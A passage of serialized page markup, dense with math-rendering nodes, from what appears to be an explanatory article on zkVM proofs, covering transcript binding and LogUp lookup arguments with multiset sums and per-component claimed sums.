111286},{"style":110485},[111287,111291],{"type":20,"tag":315,"props":111288,"children":111290},{"className":111289,"style":110476},[2443],[],{"type":20,"tag":315,"props":111292,"children":111294},{"className":111293,"style":110495},[110494],[111295],{"type":20,"tag":315,"props":111296,"children":111298},{"className":111297},[2403],[111299],{"type":26,"value":110502},{"type":20,"tag":315,"props":111301,"children":111303},{"className":111302},[20149],[111304],{"type":26,"value":20152},{"type":20,"tag":315,"props":111306,"children":111308},{"className":111307},[2429],[111309],{"type":20,"tag":315,"props":111310,"children":111312},{"className":111311,"style":110515},[2434],[111313],{"type":20,"tag":315,"props":111314,"children":111315},{},[],{"type":20,"tag":315,"props":111317,"children":111319},{"className":111318},[20121],[111320],{"type":26,"value":1049},{"type":20,"tag":315,"props":111322,"children":111324},{"className":111323},[2403,110454],[111325],{"type":20,"tag":315,"props":111326,"children":111328},{"className":111327},[2424],[111329],{"type":20,"tag":315,"props":111330,"children":111332},{"className":111331},[2429],[111333],{"type":20,"tag":315,"props":111334,"children":111336},{"className":111335,"style":110540},[2434],[111337,111349],{"type":20,"tag":315,"props":111338,"children":111339},{"style":110471},[111340,111344],{"type":20,"tag":315,"props":111341,"children":111343},{"className":111342,"style":110476},[2443],[],{"type":20,"tag":315,"props":111345,"children":111347},{"className":111346,"style":91305},[2403,19992],[111348],{"type":26,"value":92124},{"type":20,"tag":315,"props":111350,"children":111351},{"style":110471},[111352,111356],{"type":20,"tag":315,"props":111353,"children":111355},{"className":111354,"style":110476},[2443],[],{"type":20,"tag":315,"props":111357,"children":111359},{"className":111358,"style":110564},[110494],[111360],{"type":20,"tag":315,"props":111361,"children":111363},{"className":111362,"style":110570},[110569],[111364],{"type":20,"tag":32688,"props":111365,"children":111366},{"xmlns":110574,"width":110575,"height":110576,"style":110577,"viewBox":110578,"preserveAspectRatio":110579},[111367],{"type":20,"tag":110582,"props":111368,"children":111369},{"d":110584},[],{"type":20,"tag":315,"props":111371,"children":111373},{"className":111372},[20143],[111374],{"type":26,"value":1509},{"type":26,"value":111376}," is linear in the table values ",{"type":20,"tag":119,"props":111378,"children":111380},{"className":111379},[2375,2376],[111381],{"type":20,"tag":315,"props":111382,"children":111384},{"className":111383},[2381],[111385],{"type":20,"tag":315,"props":111386,"children":111388},{"className":111387,"ariaHidden":2387},[2386],[111389],{"type":20,"tag":315,"props":111390,"children":111392},{"className":111391},[2392],[111393,111397,111402,111407,111456],{"type":20,"tag":315,"props":111394,"children":111396},{"className":111395,"style":110883},[2397],[],{"type":20,"tag":315,"props":111398,"children":111400},{"className":111399,"style":93659},[2403,19992],[111401],{"type":26,"value":31499},{"type":20,"tag":315,"props":111403,"children":111405},{"className":111404},[20121],[111406],{"type":26,"value":1049},{"type":20,"tag":315,"props":111408,"children":111410},{"className":111409},[2403,110454],[111411],{"type":20,"tag":315,"props":111412,"children":111414},{"className":111413},[2424],[111415],{"type":20,"tag":315,"props":111416,"children":111418},{"className":111417},[2429],[111419],{"type":20,"tag":315,"props":111420,"children":111422},{"className":111421,"style":110670},[2434],[111423,111435],{"type":20,"tag":315,"props":111424,"children":111425},{"style":110471},[111426,111430],{"type":20,"tag":315,"props":111427,"children":111429},{"className":111428,"style":110476},[2443],[],{"type":20,"tag":315,"props":111431,"children":111433},{"className":111432},[2403,19992],[111434],{"type":26,"value":1604},{"type":20,"tag":315,"props":111436,"children":111437},{"style":110838},[111438,111442],{"type":20,"tag":315,"props":111439,"children":111441},{"className":111440,"style":110476},[2443],[],{"type":20,"tag":315,"props":111443,"children":111445},{"className":111444,"style":110697},[110494],[111446],{"type":20,"tag":315,"props":111447,"children":111449},{"className":111448,"style":110570},[110569],[111450],{"type":20,"tag":32688,"props":111451,"children":111452},{"xmlns":110574,"width":110575,"height":110576,"style":110577,"viewBox":110578,"preserveAspectRatio":110579},[111453],{"type":20,"tag":110582,"props":111454,"children":111455},{"d":110584},[],{"type":20,"tag":315,"props":111457,"children":111459},{"className":111458},[20143],[111460],{"type":26,"value":1509},{"type":26,"value":61},{"type":20,"tag":29,"props":111463,"children":111464},{},[111465,111467,111536],{"type":26,"value":111466},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":20,"tag":119,"props":111468,"children":111470},{"className":111469},[2375,2376],[111471],{"type":20,"tag":315,"props":111472,"children":111474},{"className":111473},[2381],[111475],{"type":20,"tag":315,"props":111476,"children":111478},{"className":111477,"ariaHidden":2387},[2386],[111479],{"type":20,"tag":315,"props":111480,"children":111482},{"className":111481},[2392],[111483,111487],{"type":20,"tag":315,"props":111484,"children":111486},{"className":111485,"style":110540},[2397],[],{"type":20,"tag":315,"props":111488,"children":111490},{"className":111489},[2403,110454],[111491],{"type":20,"tag":315,"props":111492,"children":111494},{"className":111493},[2424],[111495],{"type":20,"tag":315,"props":111496,"children":111498},{"className":111497},[2429],[111499],{"type":20,"tag":315,"props":111500,"children":111502},{"className":111501,"style":110540},[2434],[111503,111515],{"type":20,"tag":315,"props":111504,"children":111505},{"style":110471},[111506,111510],{"type":20,"tag":315,"props":111507,"children":111509},{"className":111508,"style":110476},[2443],[],{"type":20,"tag":315,"props":111511,"children":111513},{"className":111512,"style":91305},[2403,19992],[111514],{"type":26,"value":92124},{"type":20,"tag":315,"props":111516,"children":111517},{"style":110471},[111518,111522],{"type":20,"tag":315,"props":111519,"children":111521},{"className":111520,"style":110476},[2443],[],{"type":20,"tag":315,"props":111523,"children":111525},{"className":111524,"style":110564},[110494],[111526],{"type":20,"tag":315,"props":111527,"children":111529},{"className":111528,"style":110570},[110569],[111530],{"type":20,"tag":32688,"props":111531,"children":111532},{"xmlns":110574,"width":110575,"height":110576,"style":110577,"viewBox":110578,"preserveAspectRatio":110579},[111533],{"type":20,"tag":110582,"props":111534,"children":111535},{"d":110584},[],{"type":26,"value":111537}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":20,"tag":219,"props":111539,"children":111541},{"id":111540},"lookup-arguments-logup",[111542],{"type":26,"value":111543},"Lookup Arguments (LogUp)",{"type":20,"tag":29,"props":111545,"children":111546},{},[111547],{"type":26,"value":111548},"zkVMs need to check that values satisfy certain properties. For example:",{"type":20,"tag":15089,"props":111550,"children":111551},{},[111552,111608,111613],{"type":20,"tag":72,"props":111553,"children":111554},{},[111555,111557,111607],{"type":26,"value":111556},"Is this byte in range ",{"type":20,"tag":119,"props":111558,"children":111560},{"className":111559},[2375,2376],[111561],{"type":20,"tag":315,"props":111562,"children":111564},{"className":111563},[2381],[111565],{"type":20,"tag":315,"props":111566,"children":111568},{"className":111567,"ariaHidden":2387},[2386],[111569],{"type":20,"tag":315,"props":111570,"children":111572},{"className":111571},[2392],[111573,111577,111582,111587,111592,111596,111602],{"type":20,"tag":315,"props":111574,"children":111576},{"className":111575,"style":2504},[2397],[],{"type":20,"tag":315,"props":111578,"children":111580},{"className":111579},[20121],[111581],{"type":26,"value":2117},{"type":20,"tag":315,"props":111583,"children":111585},{"className":111584},[2403],[111586],{"type":26,"value":1063},{"type":20,"tag":315,"props":111588,"children":111590},{"className":111589},[2515],[111591],{"type":26,"value":2518},{"type":20,"tag":315,"props":111593,"children":111595},{"className":111594,"style":2522},[2483],[],{"type":20,"tag":315,"props":111597,"children":111599},{"className":111598},[2403],[111600],{"type":26,"value":111601},"255",{"type":20,"tag":315,"props":111603,"children":111605},{"className":111604},[20143],[111606],{"type":26,"value":13812},{"type":26,"value":1537},{"type":20,"tag":72,"props":111609,"children":111610},{},[111611],{"type":26,"value":111612},"Does this opcode decode correctly?",{"type":20,"tag":72,"props":111614,"children":111615},{},[111616],{"type":26,"value":111617},"Is this memory access consistent with previous accesses?",{"type":20,"tag":29,"props":111619,"children":111620},{},[111621,111626],{"type":20,"tag":3717,"props":111622,"children":111623},{},[111624],{"type":26,"value":111625},"The naive approach:",{"type":26,"value":111627}," Add constraints for each check. Expensive.",{"type":20,"tag":29,"props":111629,"children":111630},{},[111631,111636,111638,111643],{"type":20,"tag":3717,"props":111632,"children":111633},{},[111634],{"type":26,"value":111635},"The clever approach:",{"type":26,"value":111637}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":20,"tag":3717,"props":111639,"children":111640},{},[111641],{"type":26,"value":111642},"multiset membership",{"type":26,"value":66051},{"type":20,"tag":29,"props":111645,"children":111646},{},[111647,111652],{"type":20,"tag":3717,"props":111648,"children":111649},{},[111650],{"type":26,"value":111651},"LogUp (Logarithmic Derivative):",{"type":26,"value":111653}," Encode multiset membership as a sum of fractions.",{"type":20,"tag":29,"props":111655,"children":111656},{},[111657,111659,111684,111686,111713],{"type":26,"value":111658},"If set ",{"type":20,"tag":119,"props":111660,"children":111662},{"className":111661},[2375,2376],[111663],{"type":20,"tag":315,"props":111664,"children":111666},{"className":111665},[2381],[111667],{"type":20,"tag":315,"props":111668,"children":111670},{"className":111669,"ariaHidden":2387},[2386],[111671],{"type":20,"tag":315,"props":111672,"children":111674},{"className":111673},[2392],[111675,111679],{"type":20,"tag":315,"props":111676,"children":111678},{"className":111677,"style":19987},[2397],[],{"type":20,"tag":315,"props":111680,"children":111682},{"className":111681},[2403,19992],[111683],{"type":26,"value":75025},{"type":26,"value":111685}," should equal set ",{"type":20,"tag":119,"props":111687,"children":111689},{"className":111688},[2375,2376],[111690],{"type":20,"tag":315,"props":111691,"children":111693},{"className":111692},[2381],[111694],{"type":20,"tag":315,"props":111695,"children":111697},{"className":111696,"ariaHidden":2387},[2386],[111698],{"type":20,"tag":315,"props":111699,"children":111701},{"className":111700},[2392],[111702,111706],{"type":20,"tag":315,"props":111703,"children":111705},{"className":111704,"style":19987},[2397],[],{"type":20,"tag":315,"props":111707,"children":111710},{"className":111708,"style":111709},[2403,19992],"margin-right:0.05017em;",[111711],{"type":26,"value":111712},"B",{"type":26,"value":111714}," as multisets:",{"type":20,"tag":29,"props":111716,"children":111717},{},[111718],{"type":20,"tag":119,"props":111719,"children":111721},{"className":111720},[2375,2376],[111722],{"type":20,"tag":315,"props":111723,"children":111725},{"className":111724},[2381],[111726],{"type":20,"tag":315,"props":111727,"children":111729},{"className":111728,"ariaHidden":2387},[2386],[111730,111945],{"type":20,"tag":315,"props":111731,"children":111733},{"className":111732},[2392],[111734,111739,111812,111816,111932,111936,111941],{"type":20,"tag":315,"props":111735,"children":111738},{"className":111736,"style":111737},[2397],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":20,"tag":315,"props":111740,"children":111742},{"className":111741},[20028],[111743,111748],{"type":20,"tag":315,"props":111744,"children":111746},{"className":111745,"style":20035},[20028,20033,20034],[111747],{"type":26,"value":107100},{"type":20,"tag":315,"props":111749,"children":111751},{"className":111750},[2419],[111752],{"type":20,"tag":315,"props":111753,"children":111755},{"className":111754},[2424,20046],[111756,111800],{"type":20,"tag":315,"props":111757,"children":111759},{"className":111758},[2429],[111760,111795],{"type":20,"tag":315,"props":111761,"children":111764},{"className":111762,"style":111763},[2434],"height:0.1786em;",[111765],{"type":20,"tag":315,"props":111766,"children":111767},{"style":20059},[111768,111772],{"type":20,"tag":315,"props":111769,"children":111771},{"className":111770,"style":2444},[2443],[],{"type":20,"tag":315,"props":111773,"children":111775},{"className":111774},[2449,2450,2451,2452],[111776],{"type":20,"tag":315,"props":111777,"children":111779},{"className":111778},[2403,2452],[111780,111785,111790],{"type":20,"tag":315,"props":111781,"children":111783},{"className":111782},[2403,19992,2452],[111784],{"type":26,"value":35},{"type":20,"tag":315,"props":111786,"children":111788},{"className":111787},[2586,2452],[111789],{"type":26,"value":20099},{"type":20,"tag":315,"props":111791,"children":111793},{"className":111792},[2403,19992,2452],[111794],{"type":26,"value":75025},{"type":20,"tag":315,"props":111796,"children":111798},{"className":111797},[20149],[111799],{"type":26,"value":20152},{"type":20,"tag":315,"props":111801,"children":111803},{"className":111802},[2429],[111804],{"type":20,"tag":315,"props":111805,"children":111808},{"className":111806,"style":111807},[2434],"height:0.3271em;",[111809],{"type":20,"tag":315,"props":111810,"children":111811},{},[],{"type":20,"tag":315,"props":111813,"children":111815},{"className":111814,"style":2522},[2483],[],{"type":20,"tag":315,"props":111817,"children":111819},{"className":111818},[2403],[111820,111825,111928],{"type":20,"tag":315,"props":111821,"children":111824},{"className":111822},[20121,111823],"nulldelimiter",[],{"type":20,"tag":315,"props":111826,"children":111829},{"className":111827},[111828],"mfrac",[111830],{"type":20,"tag":315,"props":111831,"children":111833},{"className":111832},[2424,20046],[111834,111916],{"type":20,"tag":315,"props":111835,"children":111837},{"className":111836},[2429],[111838,111911],{"type":20,"tag":315,"props":111839,"children":111842},{"className":111840,"style":111841},[2434],"height:0.8451em;",[111843,111876,111890],{"type":20,"tag":315,"props":111844,"children":111846},{"style":111845},"top:-2.655em;",[111847,111851],{"type":20,"tag":315,"props":111848,"children":111850},{"className":111849,"style":110476},[2443],[],{"type":20,"tag":315,"props":111852,"children":111854},{"className":111853},[2449,2450,2451,2452],[111855],{"type":20,"tag":315,"props":111856,"children":111858},{"className":111857},[2403,2452],[111859,111866,111871],{"type":20,"tag":315,"props":111860,"children":111863},{"className":111861,"style":111862},[2403,19992,2452],"margin-right:0.04398em;",[111864],{"type":26,"value":111865},"z",{"type":20,"tag":315,"props":111867,"children":111869},{"className":111868},[2489,2452],[111870],{"type":26,"value":2463},{"type":20,"tag":315,"props":111872,"children":111874},{"className":111873},[2403,19992,2452],[111875],{"type":26,"value":35},{"type":20,"tag":315,"props":111877,"children":111879},{"style":111878},"top:-3.23em;",[111880,111884],{"type":20,"tag":315,"props":111881,"children":111883},{"className":111882,"style":110476},[2443],[],{"type":20,"tag":315,"props":111885,"children":111889},{"className":111886,"style":111888},[111887],"frac-line","border-bottom-width:0.04em;",[],{"type":20,"tag":315,"props":111891,"children":111893},{"style":111892},"top:-3.394em;",[111894,111898],{"type":20,"tag":315,"props":111895,"children":111897},{"className":111896,"style":110476},[2443],[],{"type":20,"tag":315,"props":111899,"children":111901},{"className":111900},[2449,2450,2451,2452],[111902],{"type":20,"tag":315,"props":111903,"children":111905},{"className":111904},[2403,2452],[111906],{"type":20,"tag":315,"props":111907,"children":111909},{"className":111908},[2403,2452],[111910],{"type":26,"value":2406},{"type":20,"tag":315,"props":111912,"children":111914},{"className":111913},[20149],[111915],{"type":26,"value":20152},{"type":20,"tag":315,"props":111917,"children":111919},{"className":111918},[2429],[111920],{"type":20,"tag":315,"props":111921,"children":111924},{"className":111922,"style":111923},[2434],"height:0.4033em;",[111925],{"type":20,"tag":315,"props":111926,"children":111927},{},[],{"type":20,"tag":315,"props":111929,"children":111931},{"className":111930},[20143,111823],[],{"type":20,"tag":315,"props":111933,"children":111935},{"className":111934,"style":2581},[2483],[],{"type":20,"tag":315,"props":111937,"children":111939},{"className":111938},[2586],[111940],{"type":26,"value":337},{"type":20,"tag":315,"props":111942,"children":111944},{"className":111943,"style":2581},[2483],[],{"type":20,"tag":315,"props":111946,"children":111948},{"className":111947},[2392],[111949,111953,112025,112029],{"type":20,"tag":315,"props":111950,"children":111952},{"className":111951,"style":111737},[2397],[],{"type":20,"tag":315,"props":111954,"children":111956},{"className":111955},[20028],[111957,111962],{"type":20,"tag":315,"props":111958,"children":111960},{"className":111959,"style":20035},[20028,20033,20034],[111961],{"type":26,"value":107100},{"type":20,"tag":315,"props":111963,"children":111965},{"className":111964},[2419],[111966],{"type":20,"tag":315,"props":111967,"children":111969},{"className":111968},[2424,20046],[111970,112014],{"type":20,"tag":315,"props":111971,"children":111973},{"className":111972},[2429],[111974,112009],{"type":20,"tag":315,"props":111975,"children":111978},{"className":111976,"style":111977},[2434],"height:0.1864em;",[111979],{"type":20,"tag":315,"props":111980,"children":111981},{"style":20059},[111982,111986],{"type":20,"tag":315,"props":111983,"children":111985},{"className":111984,"style":2444},[2443],[],{"type":20,"tag":315,"props":111987,"children":111989},{"className":111988},[2449,2450,2451,2452],[111990],{"type":20,"tag":315,"props":111991,"children":111993},{"className":111992},[2403,2452],[111994,111999,112004],{"type":20,"tag":315,"props":111995,"children":111997},{"className":111996},[2403,19992,2452],[111998],{"type":26,"value":1604},{"type":20,"tag":315,"props":112000,"children":112002},{"className":112001},[2586,2452],[112003],{"type":26,"value":20099},{"type":20,"tag":315,"props":112005,"children":112007},{"className":112006,"style":111709},[2403,19992,2452],[112008],{"type":26,"value":111712},{"type":20,"tag":315,"props":112010,"children":112012},{"className":112011},[20149],[112013],{"type":26,"value":20152},{"type":20,"tag":315,"props":112015,"children":112017},{"className":112016},[2429],[112018],{"type":20,"tag":315,"props":112019,"children":112021},{"className":112020,"style":111807},[2434],[112022],{"type":20,"tag":315,"props":112023,"children":112024},{},[],{"type":20,"tag":315,"props":112026,"children":112028},{"className":112027,"style":2522},[2483],[],{"type":20,"tag":315,"props":112030,"children":112032},{"className":112031},[2403],[112033,112037,112130],{"type":20,"tag":315,"props":112034,"children":112036},{"className":112035},[20121,111823],[],{"type":20,"tag":315,"props":112038,"children":112040},{"className":112039},[111828],[112041],{"type":20,"tag":315,"props":112042,"children":112044},{"className":112043},[2424,20046],[112045,112119],{"type":20,"tag":315,"props":112046,"children":112048},{"className":112047},[2429],[112049,112114],{"type":20,"tag":315,"props":112050,"children":112052},{"className":112051,"style":111841},[2434],[112053,112083,112094],{"type":20,"tag":315,"props":112054,"children":112055},{"style":111845},[112056,112060],{"type":20,"tag":315,"props":112057,"children":112059},{"className":112058,"style":110476},[2443],[],{"type":20,"tag":315,"props":112061,"children":112063},{"className":112062},[2449,2450,2451,2452],[112064],{"type":20,"tag":315,"props":112065,"children":112067},{"className":112066},[2403,2452],[112068,112073,112078],{"type":20,"tag":315,"props":112069,"children":112071},{"className":112070,"style":111862},[2403,19992,2452],[112072],{"type":26,"value":111865},{"type":20,"tag":315,"props":112074,"children":112076},{"className":112075},[2489,2452],[112077],{"type":26,"value":2463},{"type":20,"tag":315,"props":112079,"children":112081},{"className":112080},[2403,19992,2452],[112082],{"type":26,"value":1604},{"type":20,"tag":315,"props":112084,"children":112085},{"style":111878},[112086,112090],{"type":20,"tag":315,"props":112087,"children":112089},{"className":112088,"style":110476},[2443],[],{"type":20,"tag":315,"props":112091,"children":112093},{"className":112092,"style":111888},[111887],[],{"type":20,"tag":315,"props":112095,"children":112096},{"style":111892},[112097,112101],{"type":20,"tag":315,"props":112098,"children":112100},{"className":112099,"style":110476},[2443],[],{"type":20,"tag":315,"props":112102,"children":112104},{"className":112103},[2449,2450,2451,2452],[112105],{"type":20,"tag":315,"props":112106,"children":112108},{"className":112107},[2403,2452],[112109],{"type":20,"tag":315,"props":112110,"children":112112},{"className":112111},[2403,2452],[112113],{"type":26,"value":2406},{"type":20,"tag":315,"props":112115,"children":112117},{"className":112116},[20149],[112118],{"type":26,"value":20152},{"type":20,"tag":315,"props":112120,"children":112122},{"className":112121},[2429],[112123],{"type":20,"tag":315,"props":112124,"children":112126},{"className":112125,"style":111923},[2434],[112127],{"type":20,"tag":315,"props":112128,"children":112129},{},[],{"type":20,"tag":315,"props":112131,"children":112133},{"className":112132},[20143,111823],[],{"type":20,"tag":29,"props":112135,"children":112136},{},[112137,112139,112164],{"type":26,"value":112138},"for random challenge ",{"type":20,"tag":119,"props":112140,"children":112142},{"className":112141},[2375,2376],[112143],{"type":20,"tag":315,"props":112144,"children":112146},{"className":112145},[2381],[112147],{"type":20,"tag":315,"props":112148,"children":112150},{"className":112149,"ariaHidden":2387},[2386],[112151],{"type":20,"tag":315,"props":112152,"children":112154},{"className":112153},[2392],[112155,112159],{"type":20,"tag":315,"props":112156,"children":112158},{"className":112157,"style":109146},[2397],[],{"type":20,"tag":315,"props":112160,"children":112162},{"className":112161,"style":111862},[2403,19992],[112163],{"type":26,"value":111865},{"type":26,"value":112165},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":20,"tag":29,"props":112167,"children":112168},{},[112169,112174],{"type":20,"tag":3717,"props":112170,"children":112171},{},[112172],{"type":26,"value":112173},"In zkVMs:",{"type":26,"value":112175}," Different components emit and consume lookup tuples:",{"type":20,"tag":15089,"props":112177,"children":112178},{},[112179,112266],{"type":20,"tag":72,"props":112180,"children":112181},{},[112182,112184,112210,112212,112237,112239,112265],{"type":26,"value":112183},"CPU emits: \"I read value ",{"type":20,"tag":119,"props":112185,"children":112187},{"className":112186},[2375,2376],[112188],{"type":20,"tag":315,"props":112189,"children":112191},{"className":112190},[2381],[112192],{"type":20,"tag":315,"props":112193,"children":112195},{"className":112194,"ariaHidden":2387},[2386],[112196],{"type":20,"tag":315,"props":112197,"children":112199},{"className":112198},[2392],[112200,112204],{"type":20,"tag":315,"props":112201,"children":112203},{"className":112202,"style":109146},[2397],[],{"type":20,"tag":315,"props":112205,"children":112207},{"className":112206,"style":91791},[2403,19992],[112208],{"type":26,"value":112209},"v",{"type":26,"value":112211}," from address ",{"type":20,"tag":119,"props":112213,"children":112215},{"className":112214},[2375,2376],[112216],{"type":20,"tag":315,"props":112217,"children":112219},{"className":112218},[2381],[112220],{"type":20,"tag":315,"props":112221,"children":112223},{"className":112222,"ariaHidden":2387},[2386],[112224],{"type":20,"tag":315,"props":112225,"children":112227},{"className":112226},[2392],[112228,112232],{"type":20,"tag":315,"props":112229,"children":112231},{"className":112230,"style":109146},[2397],[],{"type":20,"tag":315,"props":112233,"children":112235},{"className":112234},[2403,19992],[112236],{"type":26,"value":35},{"type":26,"value":112238}," at time ",{"type":20,"tag":119,"props":112240,"children":112242},{"className":112241},[2375,2376],[112243],{"type":20,"tag":315,"props":112244,"children":112246},{"className":112245},[2381],[112247],{"type":20,"tag":315,"props":112248,"children":112250},{"className":112249,"ariaHidden":2387},[2386],[112251],{"type":20,"tag":315,"props":112252,"children":112254},{"className":112253},[2392],[112255,112260],{"type":20,"tag":315,"props":112256,"children":112259},{"className":112257,"style":112258},[2397],"height:0.6151em;",[],{"type":20,"tag":315,"props":112261,"children":112263},{"className":112262},[2403,19992],[112264],{"type":26,"value":20134},{"type":26,"value":18463},{"type":20,"tag":72,"props":112267,"children":112268},{},[112269,112271,112296,112298,112323,112325,112350],{"type":26,"value":112270},"Memory table consumes: \"At time ",{"type":20,"tag":119,"props":112272,"children":112274},{"className":112273},[2375,2376],[112275],{"type":20,"tag":315,"props":112276,"children":112278},{"className":112277},[2381],[112279],{"type":20,"tag":315,"props":112280,"children":112282},{"className":112281,"ariaHidden":2387},[2386],[112283],{"type":20,"tag":315,"props":112284,"children":112286},{"className":112285},[2392],[112287,112291],{"type":20,"tag":315,"props":112288,"children":112290},{"className":112289,"style":112258},[2397],[],{"type":20,"tag":315,"props":112292,"children":112294},{"className":112293},[2403,19992],[112295],{"type":26,"value":20134},{"type":26,"value":112297},", address ",{"type":20,"tag":119,"props":112299,"children":112301},{"className":112300},[2375,2376],[112302],{"type":20,"tag":315,"props":112303,"children":112305},{"className":112304},[2381],[112306],{"type":20,"tag":315,"props":112307,"children":112309},{"className":112308,"ariaHidden":2387},[2386],[112310],{"type":20,"tag":315,"props":112311,"children":112313},{"className":112312},[2392],[112314,112318],{"type":20,"tag":315,"props":112315,"children":112317},{"className":112316,"style":109146},[2397],[],{"type":20,"tag":315,"props":112319,"children":112321},{"className":112320},[2403,19992],[112322],{"type":26,"value":35},{"type":26,"value":112324}," contained ",{"type":20,"tag":119,"props":112326,"children":112328},{"className":112327},[2375,2376],[112329],{"type":20,"tag":315,"props":112330,"children":112332},{"className":112331},[2381],[112333],{"type":20,"tag":315,"props":112334,"children":112336},{"className":112335,"ariaHidden":2387},[2386],[112337],{"type":20,"tag":315,"props":112338,"children":112340},{"className":112339},[2392],[112341,112345],{"type":20,"tag":315,"props":112342,"children":112344},{"className":112343,"style":109146},[2397],[],{"type":20,"tag":315,"props":112346,"children":112348},{"className":112347,"style":91791},[2403,19992],[112349],{"type":26,"value":112209},{"type":26,"value":18463},{"type":20,"tag":29,"props":112352,"children":112353},{},[112354],{"type":26,"value":112355},"If everything balances, the execution is consistent.",{"type":20,"tag":29,"props":112357,"children":112358},{},[112359,112364],{"type":20,"tag":3717,"props":112360,"children":112361},{},[112362],{"type":26,"value":112363},"The claimed_sum:",{"type":26,"value":112365}," Each component computes its contribution to the LogUp sum:",{"type":20,"tag":29,"props":112367,"children":112368},{},[112369],{"type":20,"tag":119,"props":112370,"children":112372},{"className":112371},[2375,2376],[112373],{"type":20,"tag":315,"props":112374,"children":112376},{"className":112375},[2381],[112377],{"type":20,"tag":315,"props":112378,"children":112380},{"className":112379,"ariaHidden":2387},[2386],[112381,112479,112730],{"type":20,"tag":315,"props":112382,"children":112384},{"className":112383},[2392],[112385,112389,112399,112404,112466,112470,112475],{"type":20,"tag":315,"props":112386,"children":112388},{"className":112387,"style":92718},[2397],[],{"type":20,"tag":315,"props":112390,"children":112392},{"className":112391},[2403,26],[112393],{"type":20,"tag":315,"props":112394,"children":112396},{"className":112395},[2403],[112397],{"type":26,"value":112398},"claimed",{"type":20,"tag":315,"props":112400,"children":112402},{"className":112401,"style":91305},[2403],[112403],{"type":26,"value":1463},{"type":20,"tag":315,"props":112405,"children":112407},{"className":112406},[2403],[112408,112417],{"type":20,"tag":315,"props":112409,"children":112411},{"className":112410},[2403,26],[112412],{"type":20,"tag":315,"props":112413,"children":112415},{"className":112414},[2403],[112416],{"type":26,"value":74890},{"type":20,"tag":315,"props":112418,"children":112420},{"className":112419},[2419],[112421],{"type":20,"tag":315,"props":112422,"children":112424},{"className":112423},[2424,20046],[112425,112455],{"type":20,"tag":315,"props":112426,"children":112428},{"className":112427},[2429],[112429,112450],{"type":20,"tag":315,"props":112430,"children":112432},{"className":112431,"style":91834},[2434],[112433],{"type":20,"tag":315,"props":112434,"children":112436},{"style":112435},"top:-2.55em;margin-right:0.05em;",[112437,112441],{"type":20,"tag":315,"props":112438,"children":112440},{"className":112439,"style":2444},[2443],[],{"type":20,"tag":315,"props":112442,"children":112444},{"className":112443},[2449,2450,2451,2452],[112445],{"type":20,"tag":315,"props":112446,"children":112448},{"className":112447},[2403,19992,2452],[112449],{"type":26,"value":2122},{"type":20,"tag":315,"props":112451,"children":112453},{"className":112452},[20149],[112454],{"type":26,"value":20152},{"type":20,"tag":315,"props":112456,"children":112458},{"className":112457},[2429],[112459],{"type":20,"tag":315,"props":112460,"children":112462},{"className":112461,"style":91388},[2434],[112463],{"type":20,"tag":315,"props":112464,"children":112465},{},[],{"type":20,"tag":315,"props":112467,"children":112469},{"className":112468,"style":2581},[2483],[],{"type":20,"tag":315,"props":112471,"children":112473},{"className":112472},[2586],[112474],{"type":26,"value":337},{"type":20,"tag":315,"props":112476,"children":112478},{"className":112477,"style":2581},[2483],[],{"type":20,"tag":315,"props":112480,"children":112482},{"className":112481},[2392],[112483,112488,112548,112552,112717,112721,112726],{"type":20,"tag":315,"props":112484,"children":112487},{"className":112485,"style":112486},[2397],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":20,"tag":315,"props":112489,"children":112491},{"className":112490},[20028],[112492,112497],{"type":20,"tag":315,"props":112493,"children":112495},{"className":112494,"style":20035},[20028,20033,20034],[112496],{"type":26,"value":107100},{"type":20,"tag":315,"props":112498,"children":112500},{"className":112499},[2419],[112501],{"type":20,"tag":315,"props":112502,"children":112504},{"className":112503},[2424,20046],[112505,112536],{"type":20,"tag":315,"props":112506,"children":112508},{"className":112507},[2429],[112509,112531],{"type":20,"tag":315,"props":112510,"children":112513},{"className":112511,"style":112512},[2434],"height:0.162em;",[112514],{"type":20,"tag":315,"props":112515,"children":112516},{"style":20059},[112517,112521],{"type":20,"tag":315,"props":112518,"children":112520},{"className":112519,"style":2444},[2443],[],{"type":20,"tag":315,"props":112522,"children":112524},{"className":112523},[2449,2450,2451,2452],[112525],{"type":20,"tag":315,"props":112526,"children":112529},{"className":112527,"style":112528},[2403,19992,2452],"margin-right:0.05724em;",[112530],{"type":26,"value":7052},{"type":20,"tag":315,"props":112532,"children":112534},{"className":112533},[20149],[112535],{"type":26,"value":20152},{"type":20,"tag":315,"props":112537,"children":112539},{"className":112538},[2429],[112540],{"type":20,"tag":315,"props":112541,"children":112544},{"className":112542,"style":112543},[2434],"height:0.4358em;",[112545],{"type":20,"tag":315,"props":112546,"children":112547},{},[],{"type":20,"tag":315,"props":112549,"children":112551},{"className":112550,"style":2522},[2483],[],{"type":20,"tag":315,"props":112553,"children":112555},{"className":112554},[2403],[112556,112560,112713],{"type":20,"tag":315,"props":112557,"children":112559},{"className":112558},[20121,111823],[],{"type":20,"tag":315,"props":112561,"children":112563},{"className":112562},[111828],[112564],{"type":20,"tag":315,"props":112565,"children":112567},{"className":112566},[2424,20046],[112568,112701],{"type":20,"tag":315,"props":112569,"children":112571},{"className":112570},[2429],[112572,112696],{"type":20,"tag":315,"props":112573,"children":112575},{"className":112574,"style":111841},[2434],[112576,112665,112676],{"type":20,"tag":315,"props":112577,"children":112578},{"style":111845},[112579,112583],{"type":20,"tag":315,"props":112580,"children":112582},{"className":112581,"style":110476},[2443],[],{"type":20,"tag":315,"props":112584,"children":112586},{"className":112585},[2449,2450,2451,2452],[112587],{"type":20,"tag":315,"props":112588,"children":112590},{"className":112589},[2403,2452],[112591,112596,112601],{"type":20,"tag":315,"props":112592,"children":112594},{"className":112593,"style":111862},[2403,19992,2452],[112595],{"type":26,"value":111865},{"type":20,"tag":315,"props":112597,"children":112599},{"className":112598},[2489,2452],[112600],{"type":26,"value":2463},{"type":20,"tag":315,"props":112602,"children":112604},{"className":112603},[2403,2452],[112605,112614],{"type":20,"tag":315,"props":112606,"children":112608},{"className":112607},[2403,26,2452],[112609],{"type":20,"tag":315,"props":112610,"children":112612},{"className":112611},[2403,2452],[112613],{"type":26,"value":60262},{"type":20,"tag":315,"props":112615,"children":112617},{"className":112616},[2419],[112618],{"type":20,"tag":315,"props":112619,"children":112621},{"className":112620},[2424,2004